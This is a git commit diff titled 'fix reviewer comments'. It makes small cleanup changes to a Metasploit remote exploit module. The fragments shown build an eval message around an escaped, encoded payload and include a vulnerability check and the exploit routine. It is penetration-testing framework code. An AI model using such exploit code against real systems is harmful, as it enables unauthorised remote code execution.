fix reviewer comments

bug/bundler_fix
Patrick Thomas 2017-09-06 22:53:02 -07:00
parent 637b83a0ea
commit 97d08e0da4
1 changed files with 5 additions and 7 deletions

View File

@ -46,10 +46,10 @@ class MetasploitModule < Msf::Exploit::Remote
end end
def make_eval_message def make_eval_message
escaped_payload = payload.encoded.gsub(/"/, '\\"') escaped_payload = payload.encoded.gsub(/"/, '\\"')
msg_body = MESSAGE_TEMPLATE % {:payload => escaped_payload} msg_body = MESSAGE_TEMPLATE % {:payload => escaped_payload}
msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length} msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length}
return msg_header + msg_body return msg_header + msg_body
end end
def check def check
@ -62,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote
return Exploit::CheckCode::Appears return Exploit::CheckCode::Appears
end end
return Exploit::CheckCode::Unknown Exploit::CheckCode::Unknown
end end
def exploit def exploit
@ -82,8 +82,6 @@ class MetasploitModule < Msf::Exploit::Remote
else else
print_error("Got unexpected response: #{buf}") print_error("Got unexpected response: #{buf}")
end end
handler
end end
end end